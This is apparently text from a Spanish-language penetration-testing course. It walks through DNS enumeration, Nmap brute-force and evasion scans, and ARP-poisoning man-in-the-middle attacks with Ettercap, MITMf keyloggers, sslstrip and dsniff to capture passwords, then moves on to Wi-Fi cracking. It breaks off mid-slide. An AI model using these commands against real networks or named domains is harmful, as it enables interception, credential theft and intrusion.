Enumeracion de Informacion Scripts para fuerza bruta a DNS dnsenum -f /usr/share/dnsenum/dns.txt grupolibre.org fierce –dns bpd.com.do threads 3 dmitry –iwnse qubit.do dmitry –p orange.com.do –f –b dnsrecon -d bpd.com.do -t axfr dnsrecon –d bpd.com.do

Enumeracion de Informacion Búsqueda de correos con theHarvester: theHarvester -d viva.com.do -b google > google.txt theHarvester -d viva.com.do –b linkedin

theHarvester –d viva.com.do –l 100 –b twitter

Búsqueda inversa de Imágenes: http://www.google.com Busqueda de informacion en Pastebin: http://www.pastebin.com

Enumeracion de Informacion

Descargar el script discover desde GitHub https://github.com/leebaird/discover bash discover.sh

Enumeracion de Informacion Herramientas para encontrar documentos de la Victima: • goofile

-d grupolibre.org –f txt

• metagoofil –d viva.com.do –t doc,pdf –n 50 –o directorio –f resultado.html • Foca

• Google Hacking

Escaneos

Escaneos El termino escaneo de puertos se emplea para designar a la acción de analizar por medio de un programa el estado de los puertos de una maquina conectada a una red de comunicaciones. Este detecta si un puerto esta abierto, cerrado o protegido por un firewall (filtrado). Se utiliza para detectar que servicios comunes esta ofreciendo la maquina y posibles vulnerabilidades de seguridad según los puertos abiertos. También puede llegar a detectar el sistema operativo que esta ejecutando la maquina según los puertos que tiene abiertos. Objetivo: Tener un listado de todos los servicios, puertos, maquinas en línea.

Escaneos Tipos de Escaneos • Barrido de Redes Envío de paquetes de sondeo (Probe). • Rastreo de Redes Determinar topología de red. • Escaneo de Puertos Determinar puertos TCP/UDP. • Identificación de Sistemas Operativos Determinar S.O. y sus versiones. • Escaneo de Versiones de Servicios de Red Determinar banners de servicios. • Escaneo de Vulnerabilidades Listar posibles vulnerabilidades.

Escaneos Tipos de Escaneos

Escaneos 3 Way Handshake • Cada conexión legitima empieza con el “3 way handshake”. • Usado para establecer una conexión TCP.

Objetivo: Este intercambia números de secuencia que serán incrementados a medida que dos computadoras intercambian paquetes.

Escaneos Herramientas para escaneos de Puertos y Vulnerabilidades: • Nmap • OpenVAS • Nessus • Nexpose

• QualysGuard • Acunetix

Escaneos NMAP Es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich) y cuyo desarrollo se encuentra hoy a cargo de una comunidad. Fue creado originalmente para Linux aunque actualmente es multiplataforma. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática, para ello Nmap envía unos paquetes definidos a otros equipos y analiza sus respuestas.

Escaneos Caracteristicas de NMAP • Descubrimiento de servidores: Identifica computadoras en una red, por ejemplo listando aquellas que responden ping.

• Identifica puertos abiertos en una computadora objetivo. • Determina qué servicios está ejecutando la misma. • Determinar qué sistema operativo y versión utiliza dicha computadora, (esta técnica es también conocida como fingerprinting). • Obtiene algunas características del hardware de red de la máquina objeto de la prueba.

Escaneos Interfaces Graficas de NMAP • Zenmap • Nmap-CGI • NmapWin • NmapW

Escaneos Utilizar Nmap: nmap –help -iL archivo -iR num --exclude host --excludefile -Pn -sn -PR -PS puerto -PA puerto -PU puerto -PE

# # # # # # # # # # #

opcion para leer archivo con listados de IP. objetivos aleatorios. objetivos aleatorios. archivo fichero con IPs de exclusion. no ping. ping sweep. ping ARP. ping TCP SYN. ping TCP ACK. ping UDP. ping ICMP.

Escaneos Utilizar Nmap: -PO protocolo --dns-server server --traceroute --osscan-limit --osscan-guess --max-os-tries -D -S IP --spoof-mac MAC -g -e

# # # # # # # #

escaneo protocol. DNS. para hacer traceroute del objetivo. limita la deteccion. revision extensa. intentos para detectar el S.O. para senuelos. envia paquetes con una origen en una ip especifica. # envia tramas ethernet con direcc. MAC esp. # cuando sea posible envía paquetes desde un puerto. # interface define la interface a utilizar.

Escaneos Opciones principales en Nmap: -sn -sP -F -sS -sA --exclude IP -A -open -n -R -T 0-5

# para un ping sweet para no se detectado. # para un ping scan. # para un escaneo rápido de puertos principales. # para no ser detectados. # para mas informacion. # para excluir alguna IP o varias separadas con “,”. # presenta mucha informacion, traceroute, versión de servicios, script scanning. # para ver puertos en estado abierto. # para no hacer resolución inversa de DNS. # para resolución inversa en todos los equipos. # para escaneos lentos (0) o rapidos (5).

Escaneos Opciones principales en Nmap: -p -sV -sC -iL -oA -oN -oX -oG

/archivo/ip.txt /archivo/escaneo escaneo3 escaneo4.xml escaneo5

# # # # # # # #

-vv -f

# #

-D -PN

# #

para especificarle los puertos. para ver la versión de los servicios. para ejecutar el script default de nmap. para escanear las IP del archivo. para generarlo en formato de nmap. para guardar el resultado en .txt. para guardar el resultado como xml. para guardar resultado y pueda ser filtrado con grep. para que me presente mas informacion. para fragmentar el tamano de los paquetes. para hacer DECOY y tartar de evader IDS. para tratar de sobre pasar firewalls.

Escaneos Utilizando Nmap: Para un escaneo de puertos en la red Interna. • nmap 192.168.1.0/24 Para realizar un ping scan a todo el rango de IP. • nmap -sP 192.168.1.0/24 Para tratar de identificar el S.O. del dispositivo. nmap -O 192.168.1.25 O un poco mas intrusive. • nmap -O2 192.168.1.25 Para identificar un S.O. tipo Microsoft. • nmap –script smb-os-discovery 192.168.1.25

Escaneos Utilizando Nmap: Para hacer un list scan. • nmap -sL 192.168.0.0 Para hacer un escaneo rapido de puertos principales. • nmap -F 192.168.1.25 Para hacer un ping scan. • nmap -sP 192.168.1.0/24 Para hacer ping y tratar de no ser detectado con ping sweets. • nmap -sn 192.168.1.25 Para obtener mas informacion combinada. • nmap -sA 192.168.1.25 Solo para ver puertos en estado abierto. • nmap -open 192.168.1.0/24

Escaneos Utilizando Nmap: Para identificar los S.O. tipo Microsoft en la Red. • nmap –p 137,445 –script=smb-os-discovery.nse 192.168.1.0/24 Para ver la version de los servicios y mas detalles. • nmap -vv -sV 192.168.1.25 Para ver version de los servicios y posibles vulnerabilidades. • nmap –sV -sC 192.168.1.25 Para escanear todos los puertos TCP y UDP. • nmap –sT –sU 192.168.1.25 Para escanear puertos especificos. • nmap –p 22,25,80-500 192.168.1.25 Para escanear puertos TCP y UDP especificos. • nmap -pU:137,445,53,T:21,139,440-445 192.168.1.0/24

Escaneos Utilizando los Scripts en Nmap: locate *.nse

# para localizar la ruta de los scripts de Nmap.

Para validar equipos en la red con esta vulnerabilidad. • nmap --script smb-vuln-ms08-067.nse -p445 192.168.1.25 Para detectar la vulnerabilidad de heartbleed. • nmap -p 443 --script ssl-heartbleed 192.168.1.25 Para detector la vulnerabilidad poodle. • nmap -sV --version-light --script ssl-poodle -p 443 192.168.1.25 Para la enumeracion de un servicio web. • nmap -sV --script http-enum.nse IP Para analizar las cabeceras de un servicio web. • nmap -sV --script http-title 192.168.1.25

Escaneos Utilizando los Scripts en Nmap: Para realizar ataques de fuerza bruta al puerto 21. • nmap -p 21 --script=ftp-brute grupolibre.org –d Para estar a la escucha de conexiones de dropbox en la red. • nmap --script=broadcast-dropbox-listener --script-args=newtargets -Pn Para ver las cabeceras http. • nmap -sV --script http-headers grupolibre.org Para ver los banners en los servicios. • nmap -sV --script=banner 192.168.1.25 Para lanzar todos los ataques hacia el protocolo smb. • nmap -sV --script=smb* 192.168.1.25

Escaneos Utilizando los Scripts en Nmap: Para hacer un broadcast en todo el segmento de Red. • nmap --script broadcast-ping 192.168.1.0/24 Para poner un sniffer en escucha en la Red. • nmap -sL --script=targets-sniffer -e wlan0 Para realizar fuerza bruta al servicios de Mysql. • nmap -p3306 --script mysql-brute.nse 192.168.1.25 Para realizar fuerza bruta al CMS wordpress. • nmap -sV -Pn --script http-wordpress-enum --script-args limit=20 grupolibre.org -d Para descubrir posibles errores web. • nmap -Pn -p80 --script http-erros.nse grupolibre.org

Escaneos Utilizando los Scripts en Nmap: Para realizar un traceroute del dominio. • nmap --script http-trace grupolibre.org Para realizar una posible enumeracion de los dominios en todo el segmento interno. • nmap -sS --script smb-enum-domains.nse -pU:137,T:139 192.168.1.0/24 Para realizar una posible enumeracion de los usuarios en todo el segmento interno. • nmap -sS --script smb-enum-users.nse -pU:137,T:139 192.168.1.0/24 Para realizar un traceroute del dominio o IP a consultar. • nmap --traceroute --script traceroute-geolocation.nse -p 80 fsf.org

Escaneos Utilizando los Scripts en Nmap: Para realizar una posible enumeracion de las sessiones en todo el segmento interno. • nmap -sS --script smb-enum-sessions.nse -pU:137,T:139 192.168.1.0/24

Para encontrar posibles vulnerabilidades. • nmap -Pn --script=vuln 192.168.1.25 Para realizar una busqueda de posibles equipos con Remote Desktop activado. • nmap -sV --script rdp-vuln-ms12-020.nse -p 3389 192.168.1.0/24 Para encuentrar el password o community string del servicios snmp. • nmap -sU -n -p 161 --script snmp-brute 192.168.1.1 --script-args snmp-brute.communitiesdb=/ruta/diccionario

Escaneos Evadiendo Firewalls e IDS con Nmap: Para intentar sobre pasar los firewalls. • nmap –PN -sV 192.168.1.25 • nmap –PN -sV 192.168.1.25 –T4 • nmap –PN -n -sV 192.168.1.25

Para intentar no ser detectado con otras alternativas. • nmap -PA 192.168.1.25 • nmap -PS 192.168.1.25 • nmap -sS 192.168.1.25 • nmap -sW 192.168.1.25

Escaneos Evadiendo Firewalls e IDS con Nmap: Para no hacer ping cuando se esta realizando el escaneo. • nmap -Pn 192.168.1.25 Para manipular el tamaño de los paquetes “fragmentar”. • nmap -f –p445 192.168.1.25 Hacer Decoy para hacer creer que el escaneo proviene de varias IP’s. • nmap -D 192.168.1.70,192.168.1.71,192.168.1.5 -p80,25,445 -f –n –PS –Pn –sV 192.168.1.25 Para hacer escaneos con IP Zombie y Puerto 1234. • nmap -P0 -sI 40.50.3.4:1234 192.168.1.25 Para intentar evadir con otras combinaciones. • nmap -sS -P0 192.168.1.25

Escaneos Escaneos con archivos en Nmap: Para realizar escaneos desde archivos con listado de IP’s. • nmap -iL /ruta/archivo/listado-ip.txt

Para guardar el resultado en un archivo de texto. • nmap 192.168.1.0/24 > /ruta/archivo/escaneo.txt Para generar el escaneo en formato de nmap. • nmap 192.168.1.0/24 -oA /ruta/archivo/escaneo

Para guardar el resultado en .txt. • nmap 192.168.1.0/24 -oN escaneo3 Para guardar en archivo xml. • nmap 192.168.1.0/24 -oX escaneo4.xml Para guardar resultado y pueda ser filtrado con grep. • nmap 192.168.1.0/24 -oG escaneo5

Análisis de Vulnerabilidades

Análisis de Vulnerabilidades Un análisis de seguridad nos ayuda a identificar las vulnerabilidades en nuestros servicios e infraestructuras. Para realizar un análisis de seguridad debemos tener ciertos skills o habilidades de todo un profesional para poder realizar estos análisis e identificar cuales son esos problemas (insiders) empleados, (Outsiders) crackers. Como medimos la Seguridad? • Auditorias • Análisis de Vulnerabilidades • Pentesting

Análisis de Vulnerabilidades Algunas Herramientas de Analisis de Vulnerabilidades: • Nmap • Nessus • OpenVAS • Nexpose • QualysGuard • Acunetix

Análisis de Vulnerabilidades Nessus Para subir el servicio de Nessus • systemctl start nessusd Para ver el status del servicio Nessus • systemctl status nessusd Para entrar a la URL del servicio Nessus • https://127.0.0.1:8834 Para bajar el servicio una vez ya hemos terminado • systemctl stop nessusd

Análisis de Vulnerabilidades Nessus

Análisis de Vulnerabilidades Nessus

Análisis de Vulnerabilidades Nessus

Análisis de Vulnerabilidades Openvas Para subir el servicio de Openvas • openvas-start Para entrar a la URL del servicio Openvas • https://127.0.0.1:9392 Para bajar el servicio una vez ya hemos terminado • openvas-stop

Análisis de Vulnerabilidades

Openvas

Análisis de Vulnerabilidades

Openvas

Análisis de Vulnerabilidades

Openvas

Sniffers

Sniffers Que es un Sniffer?

Sniffer (analizador de protocolos) es un programa de captura de las tramas de una red de computadoras. Es algo común que, por topología de red y necesidad material, el medio de transmisión (cable coaxial, cable de par trenzado, fibra óptica, etc.) sea compartido por varias computadoras y dispositivos de red, lo que hace posible que un ordenador capture las tramas de información no destinadas a él. Para conseguir esto el analizador pone la tarjeta de red en un estado conocido como "modo promiscuo" en el cual en la capa de enlace de datos no son descartadas las tramas no destinadas a la dirección MAC de la tarjeta; de esta manera se puede capturar (sniff, "olfatear") todo el tráfico que viaja por la red.

Sniffers Sniffers Los analizadores de paquetes tienen diversos usos, como monitorear redes para detectar y analizar fallos, o para realizar ingeniería inversa en protocolos de red. También es habitual su uso para fines maliciosos, como robar contraseñas, interceptar correos electrónicos, espiar conversaciones de chat, etc. Un packet sniffer es un programa para monitorizar y analizar el tráfico en una red de computadoras, detectando los cuellos de botella y problemas que existan. También puede ser utilizado para "captar", lícitamente o no, los datos que son transmitidos en la red.

Sniffers Tipos de Sniffers • • • • • • • •

Tcpdump Ngrep Snort Nwatch Wireshark Ettercap Kismet Dsniff

Sniffers Utilidad de los Sniffers •

Captura automática de contraseñas enviadas en claro y nombres de usuario de la red.



Conversión del tráfico de red en un formato inteligible por los humanos.



Análisis de fallos para descubrir problemas en la red.



Medición del tráfico, mediante el cual es posible descubrir cuellos de botella en algún lugar de la red.



Detección de intrusos, con el fin de descubrir Crackers.



Creación de registros de red, de modo que los Crackers no puedan detectar que están siendo investigados.



Para los desarrolladores, en aplicaciones cliente-servidor. Les permite analizar la información real que se transmite por la red.

Sniffer Tcpdump Que es TCPDUMP? Es una herramienta para la linea de comandos cuya utilidad principal es analizar el trafico que circula por la red. Permite al usuario capturar y mostrar en tiempo real los paquetes transmitidos y recibidos por la red a la cual el ordenador esta conectado. Fue escrito por Van Jacobson, Craig Leres, y Steven McCanne mientras trabajaban en el Grupo de Investigacion de Red del Laboratorio Lawrence Berkeley. Mas tarde el programa fue ampliado por Andrew Tridgell.

Sniffer Tcpdump TCPDUMP Funciona en la mayoria de los sistemas operativos UNIX: Linux, Solaris, BSD, Mac OS X, HP-UX y AIX entre otros. En esos sistemas, tcpdump hace uso de la biblioteca libpcap para capturar los paquetes que circulan por la red. Existe una adaptacion de tcpdump para los sistemas Microsoft Windows llamada WinDump y que hace uso de la biblioteca Winpcap. En UNIX y otros sistemas operativos es necesario tener privilegios de administrador (root) para utilizar tcpdump.

Sniffer Tcpdump TCPDUMP: Tres modificadores posibles Tipo: Puede ser host, net o port. estos indican respectivamente una maquina, por ejemplo host 192.168.1.1, una red completa, por ejemplo net 192.168, o un puerto en especifico por ejemplo port 21.

Dir: Especifica desde o hacia donde se va a mirar el flujo de datos. tenemos src o dst y podemos combinarlos con or y and. Proto: En este caso es el protocolo que queremos capturar. puede ser tcp, udp, ip, ether, (en este caso captura tramas a nivel de enlace, arp, rarp), fddi, etc.

Sniffer Tcpdump TCPDUMP: Opciones man tcpdump tcpdump --help

-A: -D: -n: -p: -t: -x: -X: -c -C

# # # # # # # # #

Imprime cada paquete en codigo ASCII Imprime la lista de interfaces disponibles No convierte las direcciones de salida No utliza la interfaz especificada en modo promiscuo No imprime la hora de captura de cada trama Imprime cada paquete en hexadecimal Imprime cada paquete en hexadecimal y codigo ASCII count: Cierra el programa tras recibir count paquetes file_size

Sniffer Tcpdump TCPDUMP: Opciones -E -F -i -M -r -s -T -w -W -y -Z

# # # # # # # # # # #

algo:secret file interface: Escucha en la interfaz especificada secret file snaplen type file: Guarda la salida en el archivo 'file' filecount datalinktype user

Sniffer Tcpdump TCPDUMP: Ejemplos Para capturar trafico cuya direccion IP de origen sea 192.168.3.1 • tcpdump src host 192.168.3.1 Para capturar tafico cuya direccion origen o destino sea 192.168.3.2 • tcpdump host 192.168.3.2 Para capturar trafico con destino a la direccion MAC 50:43:A5:AE:69:55 • tcpdump ether dst 50:43:A5:AE:69:55 Para capturar trafico con red destino 192.168.3.0 • tcpdump dst net 192.168.3.0 Para capturar trafico con red origen 192.168.3.0/28 • tcpdump src net 192.168.3.0 mask 255.255.255.240 • tcpdump src net 192.168.3.0/28

Sniffer Tcpdump TCPDUMP: Ejemplos Para capturar trafico con destino el puerto 23 • tcpdump dst port 23 Para capturar trafico con origen o destino el puerto 110 • tcpdump port 110 Para capturar los paquetes de tipo ICMP • tcpdump ip proto \\icmp Para capturar los paquetes de tipo UDP • tcpdump ip proto \\udp • tcpdump udp Para capturar el trafico Web • tcpdump tcp and port 80 Para capturar las peticiones de DNS • tcpdump udp and dst port 53

Sniffer Tcpdump TCPDUMP: Ejemplos Para capturar el trafico al puerto telnet o SSH • tcpdump tcp and \(port 22 or port 23\) Parar capturar todo el trafico excepto el web • tcpdump tcp and not port 80 otra forma • tcpdump tcp and ! port 80 Para capturar el trafico que va a la maquina con dirección MAC 0:2:a5:ee:ec:10 • tcpdump ether host 0:2:a5:ee:ec:10

Sniffer Tcpdump TCPDUMP: Ejemplos Para capturar todo el trafico con origen o destino en la 10.0.0.0/24 • tcpdump net 10.0.0.0/24 • tcpdump net 10.0.0.0 mask 255.255.255.0

Para capturar todo trafico arp • tcpdump -n ether proto \\arp • tcpdump -n arp Para capturar todo trafico ip • tcpdump -n ether proto \\ip Para capturar todo el trafico Web (TCP port 80) • tcpdump tcp and port 80 Para capturar el todas las peticiones DNS • tcpdump udp and dst port 53

Sniffer Tcpdump TCPDUMP: Ejemplos Para capturar el trafico al puerto telnet o ssh • tcpdump tcp and \(port 22 or port 23\) Para capturar todo el trafico excepto el web • tcpdump tcp and not port 80 Para capturar solo dos paquetes • tcpdump -c 2 -i eth0 Para imprimir los paquetes en ASCII • tcpdump -A -i eth0 Para guardar el resultado en un archivo • tcpdump -w edwin-archivo.pcap -i eth0 Para leer los archivos salvados en .pcap • tcpdump -tttt -r edwin-archivo.pcap

Sniffer Tcpdump TCPDUMP: Ejemplos Para leer paquetes mas grande de 1024 bytes • tcpdump -w g_1024.pcap greater 1024 Para leer paquetes menor de 1024 bytes • tcpdump -w l_1024.pcap less 1024 Para capturar paquetes que no sean arp ni rarp • tcpdump -i eth0 not arp and not rarp

Sniffers MITM

Sniffer Ettercap Que es Ettercap? Es un interceptor/sniffer/registrador para LANs con switch. Soporta direcciones activas y pasivas de varios protocolos (incluso aquellos cifrados, como SSH y HTTPS). También hace posible la inyección de datos en una conexión establecida y filtrado al vuelo aun manteniendo la conexión sincronizada gracias a su poder para establecer un Ataque Man-in-the-middle(Spoofing). Muchos modos de sniffing fueron implementados para darnos un conjunto de herramientas poderoso y completo de sniffing.

Sniffer Ettercap Ettercap: Ejemplos Ettercap tiene distintos modos en los que puede ser llamado para ser utilizado ya sea a nivel grafico, a nivel de consola y a nivel de texto ettercap -G ettercap -C ettercap –TQ

para grafico para consola para texto

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Grafico Primero verificamos nuestra IP y Mac Address. • ifconfig Luego verificar si estamos en modo de retransmission. • cat /proc/sys/net/ipv4/ip_forward # si el resultado es “0” pues debemos activarlo. Activar el modo de retransmission. • echo 1 > /proc/sys/net/ipv4/ip_forward

# con esto estariamos en modo de retransmision y asi no dejo a nadie sin internet.

Luego verificamos nuestro Gateway. • route –n Luego procedemos a abrir el Ettercap en modo grafico • ettercap –G

Sniffer Ettercap Ettercap: Man in the Middle (MITM) – Grafico

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Grafico Luego en la pestana Sniff • Sniff  unified sniff

# y especifico la interface.

Luego en la pestana Host • Hosts  Scan for host

# para realizar el escaneo en la red.

Luego en la misma pestana Host • Hosts  Hosts list

# para ver el listado de los host encontrados.

Nota: una vez que sabemos la IP del router y la IP del objetivo que queremos atacar pues procedemos a elegirlos. En el mismo menu de “Hosts list” de la pestana de “Hosts” selecciono la IP objetivo y le damos “Target 1”, luego selecciono la IP del router y le damos a “Target 2”.

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Grafico Luego en la pestana de MITM. •

MITM  ARP Poisoning

# para el envenenamiento de la table ARP de las IP’s.

Luego dentro de ARP Poisoning seleccionamos. •

ARP Poisoning  “Sniff remote conections”

# para activar el arp poisoning

Luego procedemos a iniciar el Sniffing en la pestana Start. •

Start  Start sniffing

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Grafico Luego para ver las conecciones entre las IP en la pestana View. • View  Conections En el equipo objetivo se debe verificar la table ARP y confirmar que tiene las misma que la de nuestro equipo atacante. • arp –a # en caso de windows. • arp # en el caso de linux. Nota: Luego de esto se debe usar el navegador en el equipo objetivo para hacer pruebas a paginas que no sean https en la maquina del objetivo e intentar hacer login con un usuario y contrasenas aunque sean falsos para asi analizar el trafico con Ettercap o cualquier otro Sniffer como Tcpdump o Wireshark. Hacer pruebas con servicios de telnet o ftp para ver los passwords en texto plano. Por ejemplo: ftp://url_del_objetivo.com si tiene el servicio ftp arriba.

Sniffer Ettercap Ettercap: Man in the Middle (MITM) – Consola •

Ettercap –C

# Para llamar a la herramienta a modo consola

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Consola Para utilizar Ettercap a nivel de consola es el mismo menu y los mismos pasos que en el ambiente grafico, para llamarlo solo decimos: • • • •

ettercap -C menu sniff  unified sniff # especifico la interface. menu Hosts  scan for host o host list o a la H menu Hosts  host list o H

Es importante saber la IP de nuestro router con “route –n” luego selecciono mis objetivos (las IP), me coloco encima y le doy al "1" y al router selecciono el “2”. • • •

menu MITM  ARP Poisoning  luego escribo “remote” menu START  start sniffing menu VIEW  Conections

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Texto Para utilizar Ettercap a nivel de texto en la consola es muy simple y puede ser utilizado en algun script automatizado, para esto lo hacemos de la siguiente manera:

Para estar en modo de retransmisión. • echo 1 > /proc/sys/net/ipv4/ip_forward Para snifiear a una IP objetivo y el Gateway. • ettercap -TQ -M ARP:remote -i wlan0 //192.168.0.8/ //192.168.0.1/

Para snifear toda la red. • ettercap -TQ -M ARP:remote -i wlan0 // // En otra consola decimos driftnet -i wlan0 • driftnet -i wlan0

para sniffear imagenes.

Sniffer Ettercap Ettercap: Man in the Middle (MITM) - Texto Ahora con ettercap vamos hacer DNS SPOOFING para engañar el dns del nuestra victima o de la red. •

locate etter.dns

# para encontrar este archivo



vim /etc/ettercap/etter.dns

# lo editamos y donde dice microsoft “suck” ahi agrego la url que quiero y que apunte hacia la IP que quiero para redirigir la pagina a otra URL.

Un ejemplo en el archivo etter.dns seria: • www.facebook.com A ip-publica-de-grupolibre.org • https://facebook.com A ip-publica-de-grupolibre.org Luego procedemos a activar el dns_spoof en otra consola: •

ettercap -TQ -M ARP -i wlan0 -P dns_spoof /192.168.0.8/ //192.168.0.1/

Verificamos navegando en facebook.com en la maquina de la victima.

Sniffer MITMF MITMF: Man in the Middle (MITM) - Consola •

mitmf --help

MITMF para sobre pasar la seguridad de hsts en los servicios con https



mitmf -i wlan0 --spoof 192.168.0.1 --hsts

--arp

--target

192.168.0.8

--gateway

Nota: ver su tabla ARP con arp –a y luego probar en la maquina del usuario paginas con https para ver sus contraseñas aun entrando a paginas con https.

Para colocar un keylogger herramienta MITMF. •

mitmf -i wlan0 --spoof 192.168.0.1 --jskeylogger

en

la

--arp

maquina

--target

objetivo

Local

192.168.0.8

con

la

--gateway

Sniffer MITMF MITMF: Man in the Middle (MITM) - Consola MITMF para sobre pasar la seguridad de hsts en los servicios con https para mas Hackeos en todo el segmento de Red.



echo 1 > /proc/sys/net/ipv4/ip_forward

Para redirigir el trafico del Puerto 80 hacia el Puerto 10000 •

iptables -t nat -A PREROUTING -p tcp -i wlan0 --dport 80 -j REDIRECT --to-port 10000



mitmf -i wlan0 -l 10000

--arp --spoof --hsts --gateway 192.168.0.1

Nota: ver su tabla ARP con arp –a y luego probar en la maquina del usuario paginas con https para ver sus contraseñas aun entrando a paginas con https. Por ejemplo: www.facebook.com

Sniffer Dsniff DSNIFF: Man in the Middle (MITM) - Consola Dsniff para capturar password en texto plano. Activar el IP Forwarding.



echo 1 > /proc/sys/net/ipv4/ip_forward

Confirmar el IP Forwarding. •

cat /proc/sys/net/ipv4/ip_forward

Verificar nuestro Gateway. •

route -n

Activar el sniffer con arpspoof y cola IP del Objetivo y la del Gateway. •

arpspoof -i wlan0 -t 192.168.0.8 -r 192.168.0.1

Sniffer Dsniff DSNIFF: Man in the Middle (MITM) - Consola Nota: con esto hemos modificado la tabla arp de nuestro objetivo, poniéndole la mac address del atacante para poder hacer MITM. Para confirmar que la tabla arp cambio en el objetivo decimos: •

arp -a

En otra consola abrir el dsniff para estar escuchado y ver posibles credenciales en texto plano.



dsniff -i wlan0

Navegar a paginas de que no sean https en la maquina del objetivo e intentar hacer login con un usuario y contrasenas aunque sean falsos. Por ejemplo: ftp://url_del_objetivo.com si tiene el servicio ftp arriba.

Sniffer Dsniff DSNIFF: Man in the Middle (MITM) - Consola Una vez que iniciamos el sniffer arpspoofing podemos lanzar lo siguiente los siguiente sniffers en otras consolas: • •

dsniff -i wlan0 mailsnarf -i wlan0



msgsnarf –i wlan0



urlsnarf –i wlan0

• •

locate dnsspoof.hosts # para ver la ruta del archivo. dnsspoof -i wlan0 -f /usr/share/dsniff/dnsspoof.hosts

# para capturar passwords de la victima. # para capturar posibles correos de la victima. # para capturar posibles mensajes de la victima. # para ver cuales URL’s visita nuestra victima.

Si queremos matar conexiones de internet establecidas de nuestra victima hacemos lo siguiente: • •

tcpkill -i wlan0 dst 192.168.1.101 and dst port “PUERTO-27015” tcpkill -i wlan0 host www.microsoft.com

Sniffer SSLStrip SSLSTRIP: Man in the Middle (MITM) - Consola SSLSTRIP es una herramienta para sobre pasar la seguridad de https y ver las credenciales de los objetivos. Activar el IP Forwarding • echo 1 > /proc/sys/net/ipv4/ip_forward Confirmar si esta activo con 1 el IP Forwarding. • cat /proc/sys/net/ipv4/ip_forward Ver las reglas en IPTABLES y tablas ARP. • iptables -t nat -L Verificar la tabla ARP en el sistema objetivo. • arp -a # en el caso de windows • arp # en el caso de linux

Sniffer SSLStrip SSLSTRIP: Man in the Middle (MITM) - Consola Redirigir el trafico del monitoreado por sslstrip. •

puerto

iptables -t nat -A PREROUTING REDIRECT --to-port 8080

80

-p

al

tcp

puerto

8080

para

--destination-port

que

80

sea

-j

Confirmar la regla en IPTABLE. • iptables -t nat -L Verificar nuestro Gateway. • route -n Activar el sniffer con arpspoof y cola IP del Objetivo y la del Gateway. • arpspoof -i wlan0 -t 192.168.0.8 -r 192.168.0.1

Sniffer SSLStrip SSLSTRIP: Man in the Middle (MITM) - Consola Nota: con esto hemos modificado la tabla arp de nuestro objetivo, poniendole la mac address del atacante para poder hacer MITM. para confirmar que la tabla ARP fue modificada en el objetivo decimos: • arp -a En otra consola abrir el sslstrip y con el puerto 8080 que especificamos en la regla de IPTABLE. • sslstrip -l 8080

Colocar un sniffer con tcpdump y guardarlo en un archivo para analizarlo. • tcpdump -i wlan0 -vv -X -nn tcp and host 192.168.0.8 and port 80 > qubit.pcap Navegar a paginas de bancos en la maquina del objetivo e intentar hacer login con un usuario y contraseñas aunque sean falsos.

Sniffer SSLStrip SSLSTRIP: Man in the Middle (MITM) - Consola Analizar los archivos qubit.pcap y el sslstrip.log que estan en el directorio actual • •

less qubit.pcap | grep -i password less qubit.pcap | grep -i username

y •

cat sslstrip.log

Para deshacer todos los cambios procedemos a hacer lo siguiente: "Ctrl + C" al arpspoof "Ctrl + C" al sslstrip -l 8080 iptable -t nat -F iptable -t nat -X echo 0 > /proc/sys/net/ipv4/ip_forward

Sniffer Wireshark WIRESHARK Wireshark, antes conocido como Ethereal, es un analizador de protocolos utilizado para realizar análisis y solucionar problemas en redes de comunicaciones, para desarrollo de software y protocolos, y como una herramienta didáctica. Cuenta con todas las características estándar de un analizador de protocolos de forma únicamente hueca. La funcionalidad que provee es similar a la de tcpdump, pero añade una interfaz gráfica y muchas opciones de organización y filtrado de información. Así, permite ver todo el tráfico que pasa a través de una red (usualmente una red Ethernet, aunque es compatible con algunas otras) estableciendo la configuración en modo promiscuo. También incluye una versión basada en texto llamada tshark.

Sniffer Wireshark WIRESHARK

Sniffer Wireshark WIRESHARK

Cracking Wireless Network…

Cracking Wireless

Cracking Wireless Son muchas las herramientas que se pueden utlizar para crackear las credenciales en una red Wifi. Las herramientas mas importantes a mencionar son las siguientes:

• • • •

Aircrack-ng Gerix Fern Wifi Linset

Cracking Wireless Aircrack-ng Es una suite de software de seguridad inalámbrica. Consiste en un analizador de paquetes de redes, un crackeador de redes WEP y WPA/WPA2-PSK y otro conjunto de herramientas de auditoría inalámbrica. Entre las herramientas que se incluyen en esta suite se encuentran las siguientes: • • • • • • • •

airbase-ng aircrack-ng airdecap-ng airdecloak-ng airdriver-ng aireplay-ng airmon-ng airodump-ng

Cracking Wireless Aircrack-ng: Wireless WEP Verificar nuestra interface de Red. • iwconfig

Si nuestra interface se llama wlan0 pues la ponemos en modo monitor. • airmon-ng start wlan0

Luego procedemos a monitorear alcancemos. • airodump-ng wlan0mon

todas

las

redes

inalámbricas

que

Luego que identificamos la red que queremos romper pues hacemos lo siguiente en otra pestana. • airodump -w NOMBRE-DE-LA-RED-WEP -c el-canal --bssid mac-address-gw mon0 --ignore-negative-one

Craking Wireless Aircrack-ng: Wireless WEP Como es para una red del tipo WEP y no estamos agregados a esta pues hacemos lo siguiente en otra pestana ya que necesitamos formar parte de esta red. • aireplay-ng -1 0 -a mac-address-gw wlan0mon --ignore-negative-one

Nota: Verifico en la primera pestana si mi mac-address ya esta agregada. Como estamos en la red del tipo WEP pues para esta debemos de capturar de 20,000 a mas de la data capturada pero si esta muy lenta pues hago lo siguiente para que acelere. •

aireplay-ng -3 -b mac-address-gw wlan0mon --ignore-negative-one

Cracking Wireless Aircrack-ng: Wireless WEP Nota: Luego que hemos capturado mas de 20,000 en data pues paramos con Ctrl + C y utilizamos el archivo con el nombre que le pusimos a la red pero con la extension .cap, en este caso se llama NOMBRE-DE-LA-REDWEP.cap •

aircrack-ng NOMBRE-DE-LA-RED.cap

Nota: Listo, esto es para una red del tipo WEP.

Cracking Wireless Aircrack-ng: Wireless WPA/WPA2 Verificar nuestra interface de Red. • iwconfig

Si nuestra interface se llama wlan0 pues la ponemos en modo monitor. • airmon-ng start wlan0

Luego procedemos a monitorear alcancemos. • airodump-ng wlan0mon

todas

las

redes

inalámbricas

que

